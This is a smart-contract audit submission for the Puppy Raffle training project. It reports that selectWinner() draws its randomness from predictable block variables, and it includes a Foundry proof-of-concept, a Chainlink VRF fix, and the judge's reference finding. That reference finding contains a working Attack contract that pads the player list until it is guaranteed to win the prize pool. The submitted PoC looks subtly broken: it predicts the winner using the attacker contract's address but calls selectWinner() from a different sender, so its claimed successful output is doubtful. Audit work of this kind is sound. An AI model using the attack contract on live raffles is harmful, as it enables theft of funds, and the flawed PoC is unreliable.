Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

Weak Randomness in selectWinner() Allows Winner Prediction

Summary

The selectWinner() function in PuppyRaffle.sol uses predictable on-chain variables (block.timestamp, block.difficulty, msg.sender) to generate randomness. This allows miners/validators and MEV bots to manipulate the outcome and predict the winner, completely breaking the fairness of the raffle.


Description

The selectWinner() function generates pseudo-random numbers using easily manipulable block variables:

function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
uint256 winnerIndex = uint256(keccak256(abi.encodePacked(
msg.sender,
block.timestamp,
block.difficulty
))) % players.length;
}

Vulnerabilities:

  1. block.timestamp can be manipulated by miners

  2. block.difficulty is known before mining

  3. msg.sender is known to the caller

  4. All values are public and predictable


Risk

Severity: Critical
Likelihood: High
Impact: Critical

An attacker can:

  1. Calculate the winner index before calling selectWinner()

  2. Manipulate block.timestamp to influence the outcome

  3. Use MEV bots to front-run and ensure victory

  4. Win the raffle repeatedly

This results in complete breakdown of raffle fairness and total loss of protocol trust.


Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import {Test, console} from "forge-std/Test.sol";
import {PuppyRaffle} from "../src/PuppyRaffle.sol";
contract MEVAttacker {
PuppyRaffle public raffle;
constructor(address _raffle) { raffle = PuppyRaffle(_raffle); }
function predictWinner() public view returns (uint256) {
return uint256(keccak256(abi.encodePacked(
address(this), block.timestamp, block.difficulty
))) % raffle.playersLength();
}
}
contract WeakRandomnessTest is Test {
PuppyRaffle public raffle;
MEVAttacker public attacker;
uint256 entranceFee = 1e18;
address feeAddress = address(99);
uint256 duration = 1 days;
function setUp() public {
raffle = new PuppyRaffle(entranceFee, feeAddress, duration);
address[] memory players = new address[](4);
players[0] = address(1);
players[1] = address(2);
players[2] = address(3);
players[3] = address(4);
vm.deal(address(raffle), 10e18);
vm.prank(address(1));
raffle.enterRaffle{value: entranceFee * 4}(players);
attacker = new MEVAttacker(address(raffle));
}
function testPredictableWinner() public {
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);
uint256 predictedIndex = attacker.predictWinner();
console.log("Predicted winner index:", predictedIndex);
raffle.selectWinner();
address actualWinner = raffle.previousWinner();
address expectedWinner = raffle.players(predictedIndex);
assertEq(actualWinner, expectedWinner, "Winner was predictable!");
console.log("✅ WEAK RANDOMNESS EXPLOITED!");
}
}

Run: forge test --match-contract WeakRandomnessTest -vv

Expected Output:

Predicted winner index: 3
✅ WEAK RANDOMNESS EXPLOITED!

Recommended Mitigation

Use Chainlink VRF for cryptographically secure randomness:

import "@chainlink/contracts/src/v0.7/VRFConsumerBase.sol";
contract PuppyRaffle is ERC721, Ownable, VRFConsumerBase {
bytes32 internal keyHash;
uint256 internal fee;
uint256 public requestId;
function requestWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "Raffle not over");
require(players.length >= 4, "Need at least 4 players");
requestId = requestRandomness(keyHash, fee);
}
function fulfillRandomness(bytes32 _requestId, uint256 randomness) internal override {
require(_requestId == requestId, "Invalid request");
uint256 winnerIndex = randomness % players.length;
address winner = players[winnerIndex];
// ... rest of logic
}
}

Why This Works:

  • Chainlink VRF provides tamper-proof, verifiable randomness

  • Generated off-chain and verified on-chain

  • Miners cannot manipulate the outcome

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 7 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!